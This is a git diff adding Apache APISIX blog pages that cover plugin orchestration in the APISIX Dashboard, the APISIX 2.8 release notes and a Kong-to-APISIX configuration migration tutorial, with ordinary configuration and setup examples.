+<h3 id="apache-apisix-based-implementation-of-kubernetes-ingress">Apache APISIX-based implementation of KUBERNETES INGRESS</h3>
+<p>Introducing the benefits of Apache APISIX-based Kubernetes Ingress and the features of Apache APISIX Ingress.</p>
+<h3 id="sharing-guests-5">Sharing Guests</h3>
+<p><img src="https://static.apiseven.com/202108/1639466497596-7e4b91a9-2367-457a-ad33-0c5db7b87c24.png" alt="Jin Wei"></p>
+<p>Wei Jin - Apache APISIX PMC, Apache apisix-ingress-controller Founder, Apache Skywalking Committer.</p>
+<h3 id="share-time-7">Share time</h3>
+<p>2021-08-07 14</p><div></div> GMT+8<p></p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="https://www.apache.org/security/">Security</a></li><li><a href="https://www.apache.org/foundation/sponsorship.h [...]
\ No newline at end of file
diff --git a/blog/2021/07/27/use-of-plugin-orchestration-in-apache-apisix/index.html b/blog/2021/07/27/use-of-plugin-orchestration-in-apache-apisix/index.html
new file mode 100644
index 00000000000..d7e9c665f4a
--- /dev/null
+++ b/blog/2021/07/27/use-of-plugin-orchestration-in-apache-apisix/index.html
@@ -0,0 +1,140 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>APISIX Plugin Orchestration: Low-Code Guide | Apache APISIX</title><meta name="description" content="Build API processing pipelines with drag-and-drop plugin orchestration in APISIX Dashboard. Low-code configuration tutorial."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog/2021/07/27/use-of-plugin-orc [...]
+<p>Read this article to learn about Apache APISIX and basic usage scenarios, and how Apache APISIX integrates “drag and drop” plugin orchestration capabilities in a low-code trend.</p>
+</blockquote>
+<!--truncate-->
+<h2 id="what-is-apache-apisix">What is Apache APISIX?</h2>
+<p>Apache APISIX is a dynamic, real-time, high-performance API gateway. Apache APISIX provides rich traffic management features such as load balancing, dynamic upstream, canary release, circuit breaking, authentication, observability, and more. It has more than 50 built-in plugins covering authentication, security, traffic control, Serverless, observability, and other aspects to meet the common usage scenarios of enterprise customers.</p>
+<p>As shown in the architecture diagram below, Apache APISIX is divided into two parts: the data plane (left side) and the control plane (right side): the control plane sends down the configuration to ETCD, and the data plane handles internal and external traffic with the help of rich plug-ins.</p>
+<p><img src="https://static.apiseven.com/202108/1639466553989-ecae1a31-8121-4390-a830-f386b9b12322.png" alt="Apache APISIX architecture"></p>
+<p>Apache APISIX exposes a set of interfaces that allow us to bind plugins to the API. If we want to add speed-limiting capabilities to the API, we can simply bind the <code>limit-req</code> plugin to the API.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">curl</span><span style="color:#79C0FF"> -X</span><span style="color:#A5D6FF"> PUT</span><span style="color:#A5D6FF"> http://127.0.0.1:9080/apisix/admin/routes/1</span><span style="color:#79C0FF"> -d</span><span style="color:#A5D6FF"> '</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#A5D6FF"> {</span></span>
+<span class="line"><span style="color:#A5D6FF"> "uri": "/get",</span></span>
+<span class="line"><span style="color:#A5D6FF"> "methods": ["GET"],</span></span>
+<span class="line"><span style="color:#A5D6FF"> "upstream": {</span></span>
+<span class="line"><span style="color:#A5D6FF"> "type": "roundrobin",</span></span>
+<span class="line"><span style="color:#A5D6FF"> "nodes": {</span></span>
+<span class="line"><span style="color:#A5D6FF"> "httpbin.org:80": 1</span></span>
+<span class="line"><span style="color:#A5D6FF"> }</span></span>
+<span class="line"><span style="color:#A5D6FF"> },</span></span>
+<span class="line"><span style="color:#A5D6FF"> "plugins": {</span></span>
+<span class="line"><span style="color:#A5D6FF"> "limit-req": {</span></span>
+<span class="line"><span style="color:#A5D6FF"> "rate": 1,</span></span>
+<span class="line"><span style="color:#A5D6FF"> "burst": 2,</span></span>
+<span class="line"><span style="color:#A5D6FF"> "rejected_code": 503,</span></span>
+<span class="line"><span style="color:#A5D6FF"> "key": "remote_addr"</span></span>
+<span class="line"><span style="color:#A5D6FF"> }</span></span>
+<span class="line"><span style="color:#A5D6FF"> }</span></span>
+<span class="line"><span style="color:#A5D6FF"> }'</span></span></code></pre>
+<p>After a successful call, the request will be speed-limited when it reaches the API.</p>
+<p>This example uses limit-req to implement API speed limit (which is a specific function of Apache APISIX), but how to do it for the scenario of “decide the subsequent request processing logic based on the processing result of a plugin”? Currently, the existing plugin mechanism can not meet this demand, which then leads to the ability of plugin orchestration to solve this problem.</p>
+<h2 id="what-is-plugin-orchestration">What is Plugin Orchestration?</h2>
+<p>Plugin orchestration is a form of low-code that can help enterprises reduce usage costs and increase operation and maintenance efficiency, and is an indispensable capability in the process of digital transformation. With the plugin orchestration capability in the low-code API gateway Apache APISIX, we can easily orchestrate 50+ plugins in a “drag-and-drop” way, and the orchestrated plugins can share contextual information to realize scenario-based requirements.</p>
+<p>Extending the above API speed limit scenario: the request is authenticated using the key-auth plugin, and if the authentication passes, the kafka-logger plugin takes over and logs; if the authentication fails (the plugin returns a 401 status code), the limit-req plugin is used to limit the speed.</p>
+<p>See the following video on how to do it.</p>
+<iframe height="350" width="100%" src="https://api7-website-1301662268.file.myqcloud.com/202107/%E6%8F%92%E4%BB%B6%E7%BC%96%E6%8E%92.mp4" frameborder="0">
+</iframe>
+<p>In this video, the Web interface lists the currently available plugins and drawing boards, and we can drag and drop the plugins onto the drawing boards to arrange them and fill in the data bound to the plugins, and then the whole process is completed. In the whole process.</p>
+<p>The Web interface lists the currently available plugins and drawing boards, and we can drag and drop the plugins onto the drawing boards to arrange them and fill in the data bound to the plugins, and then the whole process is completed. In the whole process.</p>
+<ol>
+<li>
+<p>operation visualization: we can use the interface visualization in addition to the creation of API, but also through the ability to orchestrate intuitive and clear scenario design.</p>
+</li>
+<li>
+<p>process reusable: by importing and exporting the JSON data of the drawing board, you can easily reuse the project data generated by orchestration.</p>
+</li>
+<li>
+<p>Combine to create new “plugins”: treat each scene as a plugin, and combine different plugins by using conditional components to create “plugins”.</p>
+</li>
+</ol>
+<h2 id="how-plugin-orchestration-works">How Plugin Orchestration Works?</h2>
+<p>So how does Apache APISIX combine with low-code capabilities? This requires the data side Apache APISIX and the control side Apache APISIX Dashboard to work together. The overall process is as follows.</p>
+<p><img src="https://static.apiseven.com/202108/1639466624894-039f4e63-fd21-403a-94c5-6efc8425eb0f.png" alt="Apache APISIX plugin orchestration flow"></p>
+<h3 id="apache-apisix">Apache APISIX</h3>
+<p>In Apache APISIX, we have added <code>script</code> execution logic to the Route entity, which can be used to receive and execute Lua functions generated by Dashboard, and it supports calling existing plugins to reuse the code. In addition, it also works on various stages of the HTTP request lifecycle, such as <code>access</code>, <code>header_filer</code>, <code>body_filter</code>, etc. The system will automatically execute the script function corresponding to the stage code at the c [...]
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#E6EDF3">{</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#FFA657"> "script"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "local _M = {} \n function _M.access(api_ctx) \n ngx.log(ngx.INFO,</span><span style="color:#FF7B72">\"</span><span style="color:#A5D6FF">hit access phase</span><span style="color:#FF7B72">\"</span><span style="color:#A5D6FF">) \n end \nreturn _M"</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#E6EDF3">}</span></span></code></pre>
+<h3 id="apache-apisix-dashboard">Apache APISIX Dashboard</h3>
+<p>Dashboard contains two sub-components, Web and ManagerAPI: Web provides a visual interface to configure the API gateway; ManagerAPI provides a RESTful API for the Web or other clients to call in order to operate the configuration center (ETCD by default) and thus indirectly control Apache APISIX.</p>
+<p>In order to generate legal and efficient script functions, ManagerAPI chose the DAG directed acyclic graph data structure for the underlying design and developed the <code>dag-to-lua</code> <a href="https://github.com/api7/dag-to-lua">project</a>: it takes the root node as the start node and decides the next flow plugin based on the judgment It uses the root node as the start node and decides the next flow plugin based on the judgment condition, which will effectively avoid logical de [...]
+<p><img src="https://static.apiseven.com/202108/1639466682723-dcfd5c1b-9ae7-42b4-b3c2-c00aaf7a5996.png" alt="Apache APISIX plugin orchestration DAG data structure"></p>
+<p>Corresponding to the script parameters received by ManagerAPI, the example is as follows.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#E6EDF3">{</span></span>
+<span class="line"><span style="color:#FFA657"> "conf"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> {</span></span>
+<span class="line"><span style="color:#FFA657"> "1-2-3"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> {</span></span>
+<span class="line"><span style="color:#FFA657"> "name"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "plugin-a",</span></span>
+<span class="line"><span style="color:#FFA657"> "conf"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> {</span></span>
+<span class="line"><span style="color:#79C0FF"> ...</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#E6EDF3"> }</span></span>
+<span class="line"><span style="color:#E6EDF3"> },</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#FFA657"> "4-5-6"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> {</span></span>
+<span class="line"><span style="color:#FFA657"> "name"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "plugin-b",</span></span>
+<span class="line"><span style="color:#FFA657"> "conf"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> {</span></span>
+<span class="line"><span style="color:#79C0FF"> ...</span></span>
+<span class="line"><span style="color:#E6EDF3"> }</span></span>
+<span class="line"><span style="color:#E6EDF3"> },</span></span>
+<span class="line"><span style="color:#FFA657"> "7-8-9"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> {</span></span>
+<span class="line"><span style="color:#FFA657"> "name"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "plugin-c",</span></span>
+<span class="line"><span style="color:#FFA657"> "conf"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> {</span></span>
+<span class="line"><span style="color:#79C0FF"> ...</span></span>
+<span class="line"><span style="color:#E6EDF3"> }</span></span>
+<span class="line"><span style="color:#E6EDF3"> }</span></span>
+<span class="line"><span style="color:#E6EDF3"> },</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#FFA657"> "rule"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> {</span></span>
+<span class="line"><span style="color:#FFA657"> "root"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "1-2-3",</span><span style="color:#8B949E"> # initial node ID</span></span>
+<span class="line"><span style="color:#FFA657"> "1-2-3"</span><span style="color:#79C0FF">:</span><span style="color:#E6EDF3"> [</span></span>
+<span class="line"><span style="color:#E6EDF3"> [</span></span>
+<span class="line"><span style="color:#A5D6FF"> "code == 200"</span><span style="color:#E6EDF3">,</span></span>
+<span class="line"><span style="color:#A5D6FF"> "4-5-6"</span></span>
+<span class="line"><span style="color:#E6EDF3"> ]</span><span style="color:#FFA657">,</span><span style="color:#E6EDF3"> [</span></span>
+<span class="line"><span style="color:#FFA657"> ""</span><span style="color:#FFA657">,</span></span>
+<span class="line"><span style="color:#FFA657"> "7-8-9"</span></span>
+<span class="line"><span style="color:#E6EDF3"> ]</span></span>
+<span class="line"><span style="color:#E6EDF3"> ]</span></span>
+<span class="line"><span style="color:#E6EDF3"> }</span></span>
+<span class="line"><span style="color:#E6EDF3">}</span></span></code></pre>
+<p>After the client converts the final orchestrated data into the above format, ManagerAPI generates Lua functions with the help of the dag-to-lua project and hands them over to Apache APISIX for execution.</p>
+<p>On the Web side, after selection, comparison and project validation, we chose Ant Group’s open source X6 graph editing engine as the underlying framework for the Web part of the plugin orchestration. In addition to perfect and clear documentation, a series of out-of-the-box interactive components and node customizability are the reasons we chose it.</p>
+<p><img src="https://static.apiseven.com/202108/1639466742487-269ebd5a-4f6c-47c3-a941-1275a4b3d178.png" alt="X6 introduction"></p>
+<p>In the process of orchestration implementation, we abstract the concept of generic components and plug-in components: generic components are start nodes, end nodes and conditional judgment nodes, while plug-in components are every available Apache APISIX plug-in, and the process of plug-in orchestration is completed by dragging and dropping these components into the drawing board. As shown in the figure.</p>
+<p><img src="https://static.apiseven.com/202108/1639466805116-0e1c9a83-e5d0-40c1-8a76-8cb1402a491c.png" alt="Apache APISIX dashboard plugin orchestration demo1"></p>
+<p>During the drag and drop process, we need to restrict a series of boundary conditions, here are a few examples.</p>
+<p>When the plugin is not configured, the system will show the error message “There are unconfigured components”, which allows you to visually see which plugin does not have configuration data.</p>
+<p><img src="https://static.apiseven.com/202108/1639466853301-a67de136-633d-4b5d-9062-ac17bf625063.png" alt="Apache APISIX dashboard plugin orchestration demo2"></p>
+<p>When an API is edited, if the API is already bound with plugin data, when using the plugin orchestration mode, a warning message will appear after detection, and the system can only proceed if the user explicitly confirms that he/she wants to use the orchestration mode. This can effectively prevent the API data from being manipulated by mistake.</p>
+<p><img src="https://static.apiseven.com/202108/1639466907551-07ec82f9-8988-4a66-a5f2-d3944d4f239c.png" alt="Apache APISIX dashboard plugin orchestration demo3"></p>
+<p>In addition, there are cases such as the start element can only have one output and the conditional judgment element can only have one input. Imagine: if the system allows users to operate without restrictions, unreasonable plugin combinations will be meaningless and generate unpredictable errors, so the continuous enrichment of boundary conditions is also an important consideration when designing the plugin arrangement.</p>
+<p>When we finish the orchestration, we will use the API exposed by X6 to generate the JSON data of the flowchart, then convert it into the DAG data needed by the system, and finally generate Lua functions.</p>
+<h2 id="future-plans">Future Plans</h2>
+<p>The drag-and-drop approach makes it easier for users to combine plugins to meet different scenarios to enhance the scalability and operation and maintenance experience of API gateways. In the process of actual use, there are the following issues that can continue to be optimized.</p>
+<ol>
+<li>
+<p>The current boundary judgment conditions of the components are not rich enough, by continuing to improve these conditions to reduce unreasonable combinations of orchestration.</p>
+</li>
+<li>
+<p>There are not many orchestration examples at present, and providing more reference examples can facilitate developers to learn and users to use.</p>
+</li>
+<li>
+<p>The current Apache APISIX uses the code defined by the plugin for status return (exceptions return the status code, the request is terminated), can support more HTTP Response field or even modify the plugin definition to extend the plugin orchestration capabilities, such as the following plugin definition.</p>
+</li>
+</ol>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FF7B72">local</span><span style="color:#E6EDF3"> _M = {</span></span>
+<span class="line"><span style="color:#FFA657"> version</span><span style="color:#A5D6FF"> =</span><span style="color:#A5D6FF"> 0.1,</span></span>
+<span class="line"><span style="color:#FFA657"> priority</span><span style="color:#A5D6FF"> =</span><span style="color:#A5D6FF"> 2500,</span></span>
+<span class="line"><span style="color:#79C0FF"> type</span><span style="color:#A5D6FF"> =</span><span style="color:#A5D6FF"> 'auth',</span></span>
+<span class="line"><span style="color:#FFA657"> name</span><span style="color:#A5D6FF"> =</span><span style="color:#A5D6FF"> plugin_name,</span></span>
+<span class="line"><span style="color:#FFA657"> schema</span><span style="color:#A5D6FF"> =</span><span style="color:#A5D6FF"> schema,</span></span>
+<span class="line"><span style="color:#8B949E"> # A new result field has been added to store the results of plugin runs and pass them on to the next plugin</span></span>
+<span class="line"><span style="color:#FFA657"> result</span><span style="color:#A5D6FF"> =</span><span style="color:#A5D6FF"> {</span></span>
+<span class="line"><span style="color:#FFA657"> code</span><span style="color:#A5D6FF"> =</span><span style="color:#A5D6FF"> {</span></span>
+<span class="line"><span style="color:#79C0FF"> type</span><span style="color:#A5D6FF"> =</span><span style="color:#A5D6FF"> "int"</span></span>
+<span class="line"><span style="color:#E6EDF3"> }</span></span>
+<span class="line"><span style="color:#E6EDF3"> }</span></span>
+<span class="line"><span style="color:#E6EDF3">}</span></span></code></pre> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="https://www.apache.org/security/">Security</a></li><li><a href="https://www.apac [...]
\ No newline at end of file
diff --git a/blog/2021/07/28/release-apache-apisix-2.8/index.html b/blog/2021/07/28/release-apache-apisix-2.8/index.html
new file mode 100644
index 00000000000..c2bfa429594
--- /dev/null
+++ b/blog/2021/07/28/release-apache-apisix-2.8/index.html
@@ -0,0 +1,98 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Release Apache APISIX 2.8.0 | Apache APISIX</title><meta name="description" content="API Gateway Apache APISIX 2.8 version released independent keepalive connection pool, stream proxy enhancement, support for custom balancer and other functions."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog/2021/07/ [...]
+<p>Apache APISIX version 2.8 is released!</p>
+</blockquote>
+<!--truncate-->
+<p>Apache APISIX version 2.8 is released! 🎉 This version has 30+ developers participated, more than 100 PRs had been submitted, and supports <strong>1 new feature, 1 new experience, 2 new plugins, and 2 new ways to develop</strong>. Read and learn about the new features in version 2.8!
+👇👇👇</p>
+<h2 id="release-notes">Release Notes</h2>
+<h3 id="new-feature-independent-keepalive-connection-pool">New feature: Independent Keepalive connection pool</h3>
+<p>Starting with <a href="https://apisix.apache.org/blog/2021/06/29/release-apache-apisix-2.7">version 2.7</a>, we have added Apache APISIX’s own patches and the Nginx C module to enhance the native Nginx, allowing dynamic setup of increasing number of Nginx configurations. In version 2.8, Apache APISIX supports the configuration of independent Keepalive connection pools at the Upstream level.</p>
+<p>The following features are currently included:</p>
+<ul>
+<li>Dynamically set mTLS</li>
+<li>Dynamically set client_max_body_size</li>
+<li>Upstream Keepalive (2.8 new feature)</li>
+<li>gzip (2.8 new Plug-in)</li>
+</ul>
+<p>In future releases, we will continue to allow the following Nginx configurations to be set dynamically:</p>
+<ul>
+<li>real_ip</li>
+<li>proxy_max_temp_file_size</li>
+<li>……</li>
+</ul>
+<p>An example of Upstream configuration:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="plaintext"><code><span class="line"><span>{</span></span>
+<span class="line"><span> "id": "backend",</span></span>
+<span class="line"><span> "nodes": {"host:80": 100},</span></span>
+<span class="line"><span> "type":"roundrobin",</span></span>
+<span class="line"><span> "keepalive_pool": {</span></span>
+<span class="line"><span> "size": 4,</span></span>
+<span class="line"><span> "idle_timeout": 8,</span></span>
+<span class="line"><span> "requests": 16</span></span>
+<span class="line"><span> }</span></span>
+<span class="line"><span>}</span></span></code></pre>
+<h3 id="new-experience-enhance-stream-proxy">New experience: Enhance stream proxy</h3>
+<p>In version 2.8, the <a href="http://apisix.apache.org/docs/apisix/plugins/ip-restriction/">ip-restriction</a> and [limit-conn](<a href="http://apisix.apache.org/docs">http://apisix.apache.org/docs</a> /apisix/plugins/limit-conn/) had been duplicated from the HTTP section to the stream section. The benefit of this way is to enhance gateway capabilities in the stream proxy and to increase the security of the upstream services.</p>
+<p>ip-restriction can be used to filter IP black and white list to ensure that only requests from a specific IP can access the backend service.</p>
+<p>limit-conn can be used to limit the number of simultaneous connections on a route, limiting the number of concurrent client accesses.</p>
+<h3 id="new-plug-in-gzip">New plug-in: gzip</h3>
+<p>Apache APISIX version 2.8 contains the gzip plug-in. Using the gzip plug-in, you can <strong>dynamically set route-level gzip parameters</strong>.</p>
+<p>An example of gzip configuration:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="plaintext"><code><span class="line"><span>{</span></span>
+<span class="line"><span> "plugins": {</span></span>
+<span class="line"><span> "gzip": {</span></span>
+<span class="line"><span> "min_length": 20,</span></span>
+<span class="line"><span> "http_version": 1.1,</span></span>
+<span class="line"><span> "buffers": {</span></span>
+<span class="line"><span> "number": 32,</span></span>
+<span class="line"><span> "size": 4096</span></span>
+<span class="line"><span> },</span></span>
+<span class="line"><span> "types": [</span></span>
+<span class="line"><span> "text/html"</span></span>
+<span class="line"><span> ],</span></span>
+<span class="line"><span> "comp_level": 1,</span></span>
+<span class="line"><span> "vary": false</span></span>
+<span class="line"><span> }</span></span>
+<span class="line"><span> }</span></span>
+<span class="line"><span>}</span></span></code></pre>
+<h3 id="new-plug-in-ua-restriction">New plug-in: ua-restriction</h3>
+<p>The <code>ua-restriction</code> plugin is used to check if the User-Agent is in the black and white list, which is a very common requirement and can be enabled by way of a plugin.</p>
+<p>An example of <code>ua-restriction</code> configuration:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="plaintext"><code><span class="line"><span>{</span></span>
+<span class="line"><span> "plugins": {</span></span>
+<span class="line"><span> "ua-restriction": {</span></span>
+<span class="line"><span> "denylist": [</span></span>
+<span class="line"><span> "my-bot1",</span></span>
+<span class="line"><span> "(Baiduspider)/(\\d+)\\.(\\d+)"</span></span>
+<span class="line"><span> ]</span></span>
+<span class="line"><span> }</span></span>
+<span class="line"><span> }</span></span>
+<span class="line"><span>}</span></span></code></pre>
+<h3 id="new-way-to-develop-support-for-executing-specific-logic-by-plug-ins">New way to develop: Support for executing specific logic by plug-ins</h3>
+<p>Based on Apache APISIX architecture, many features are implemented by plug-ins. Starting from version 2.8, <strong>Apache APISIX supports executing specific logic by plug-ins after selecting an upstream node.</strong></p>
+<p>Define the following method in the plug-in:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="plaintext"><code><span class="line"><span>function _M.balancer(conf, ctx)</span></span>
+<span class="line"><span> core.log.notice("IP: ", ctx.balancer_ip, ", Port: ", ctx.balancer_port)</span></span>
+<span class="line"><span>end</span></span></code></pre>
+<p>In this example, the log will output the IP and Port of the upstream.</p>
+<p><strong>Which scenario does the above method apply to?</strong></p>
+<ol>
+<li>After selecting the upstream node and before accessing the upstream</li>
+<li>Before each retry</li>
+</ol>
+<p>For the best performance, the above method first runs in the access phase of OpenResty (APISIX actually selects the upstream node in the access phase) and the method does not overlap with the OpenResty phase of the same name.</p>
+<h3 id="new-way-to-develop-support-for-custom-balancer">New way to develop: Support for custom balancer</h3>
+<p>In version 2.8, users can customize the balancer. <strong>The balancer is loading with minimum number of connections, polling, consistency hash, etc.</strong></p>
+<p>Although Apache APISIX already provides a set of balancers, users may need to use balancers that are closely related to the business, such as: need to consider the server room, availability zone, etc. Supporting for custom balancer, users can develop their own balancer and load it via <code>require("apisix.balancer.your_balancer")</code>.</p>
+<p>Usually a custom balancer requires node to provide data which is from other than the host/port, you can put data in the metadata, for example:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="plaintext"><code><span class="line"><span>{</span></span>
+<span class="line"><span> "nodes": [</span></span>
+<span class="line"><span> { "host": "0.0.0.0", "port": 1980, "weight": 1, "metadata": {"b": 1} }</span></span>
+<span class="line"><span> ]</span></span>
+<span class="line"><span>}</span></span></code></pre>
+<h2 id="download">Download</h2>
+<p>Download Apache APISIX 2.8.0</p>
+<ul>
+<li>Source code: please visit <a href="https://apisix.apache.org/downloads/">download page</a></li>
+<li>Binary installation package: please visit <a href="https://apisix.apache.org/docs/apisix/how-to-build/">Installation Guide</a></li>
+</ul> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="https://www.apache.org/security/">Security</a></li><li><a href="https://www.apache.org/foundation/sponsorship.html">Sponsorship</a></li><li><a href="h [...]
\ No newline at end of file
diff --git a/blog/2021/08/05/kong-to-apisix/index.html b/blog/2021/08/05/kong-to-apisix/index.html
new file mode 100644
index 00000000000..1e124e9efb8
--- /dev/null
+++ b/blog/2021/08/05/kong-to-apisix/index.html
@@ -0,0 +1,103 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Kong-To-APISIX Migration Tool | Apache APISIX</title><meta name="description" content="You can use the Kong-To-APISIX migration tool to migrate Kong's configuration to the cloud-native API gateway Apache APISIX with one click."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog/2021/08/05/kong-to-apisix/" [...]
+<p>Apache APISIX is a production-ready open source seven-layer full traffic processing platform that serves as an API gateway for business entry traffic with high performance, low latency, official dashboard support, and over fifty plugins. If you are using Kong and are interested in APISIX but struggle to get started, try our just open source migration tool Kong-To-APISIX to help you migrate smoothly with one click.</p>
+</blockquote>
+<!--truncate-->
+<p>Apache APISIX is a production-ready open source seven-layer full traffic processing platform that serves as an API gateway for business entry traffic with high performance, low latency, official dashboard support, and over fifty plugins. If you are using Kong and are interested in APISIX but struggle to get started, try our just open source migration tool Kong-To-APISIX to help you migrate smoothly with one click.</p>
+<h2 id="what-is-kong-to-apisix">What is Kong-To-APISIX</h2>
+<p><a href="https://github.com/api7/kong-to-apisix">Kong-To-APISIX</a> leverages the declarative configuration files of Kong and APISIX to migrate configuration data, and adapts to the architecture and functionality of both sides. Currently, we support the migration of configuration data for Route, Service, Upstream, Target, Consumer and three plugins Rate Limiting, Proxy Caching and Key Authentication on one side of Kong, and we have completed a minimal demo using Kong’s Getting Started [...]
+<h2 id="how-to-migrate-configuration">How to migrate configuration</h2>
+<ol>
+<li>
+<p>To export a Kong declarative configuration file using Deck, refer to the following steps: <a href="https://docs.konghq.com/deck/1.7.x/guides/backup-restore/">Kong Official Document: Backup and Restore of Kong’s Configuration</a></p>
+</li>
+<li>
+<p>Download the repository and run the migration tool, which will generate the declarative configuration file <code>apisix.yaml</code> to be used.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">git</span><span style="color:#A5D6FF"> clone</span><span style="color:#A5D6FF"> https://github.com/api7/kong-to-apisix</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#79C0FF">cd</span><span style="color:#A5D6FF"> kong-to-apisix</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#FFA657">make</span><span style="color:#A5D6FF"> build</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#FFA657">./bin/kong-to-apisix</span><span style="color:#A5D6FF"> migrate</span><span style="color:#79C0FF"> --input</span><span style="color:#A5D6FF"> kong.yaml</span><span style="color:#79C0FF"> --output</span><span style="color:#A5D6FF"> apisix.yaml</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#8B949E"># migrate succeed</span></span></code></pre>
+</li>
+<li>
+<p>Use <code>apisix.yaml</code> to configure APISIX, refer to <a href="https://apisix.apache.org/docs/apisix/deployment-modes/#standalone">Apache APISIX Official Document: Stand-alone mode</a>.</p>
+</li>
+</ol>
+<h2 id="demo-test">Demo Test</h2>
+<ol>
+<li>
+<p>Make sure docker is up and running, deploy the test environment, and use docker-compose to run APISIX and Kong.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">git</span><span style="color:#A5D6FF"> clone</span><span style="color:#A5D6FF"> https://github.com/apache/apisix-docker</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#79C0FF">cd</span><span style="color:#A5D6FF"> kong-to-apisix</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#FFA657">./tools/setup.sh</span></span></code></pre>
+</li>
+<li>
+<p>Add configuration to Kong and test it according to Kong’s Getting Started Guide.</p>
+<ol>
+<li>Expose services via Service and Route for routing and forwarding</li>
+<li>Set up Rate Limiting and Proxy Caching plugins for flow limiting caching</li>
+<li>Set up Key Authentication plugin for authentication</li>
+<li>Set up load balancing via Upstream and Target</li>
+</ol>
+</li>
+<li>
+<p>Export Kong’s declarative configuration file to <code>kong.yaml</code>.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">go</span><span style="color:#A5D6FF"> run</span><span style="color:#A5D6FF"> ./cmd/dumpkong/main.go</span></span></code></pre>
+</li>
+<li>
+<p>Run the migration tool, import <code>kong.yaml</code> and generate the APISIX configuration file <code>apisix.yaml</code> to docker volumes.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FF7B72">export</span><span style="color:#E6EDF3"> EXPORT_PATH</span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3">./repos/apisix-docker/example/apisix_conf</span></span>
+<span class="line"><span style="color:#FFA657">go</span><span style="color:#A5D6FF"> run</span><span style="color:#A5D6FF"> ./cmd/kong-to-apisix/main.go</span></span></code></pre>
+</li>
+<li>
+<p>Test whether the migrated routes, load balancing, plugins, etc. are working properly on Apache APISIX side.</p>
+<ol>
+<li>
+<p>Test key auth plugin.</p>
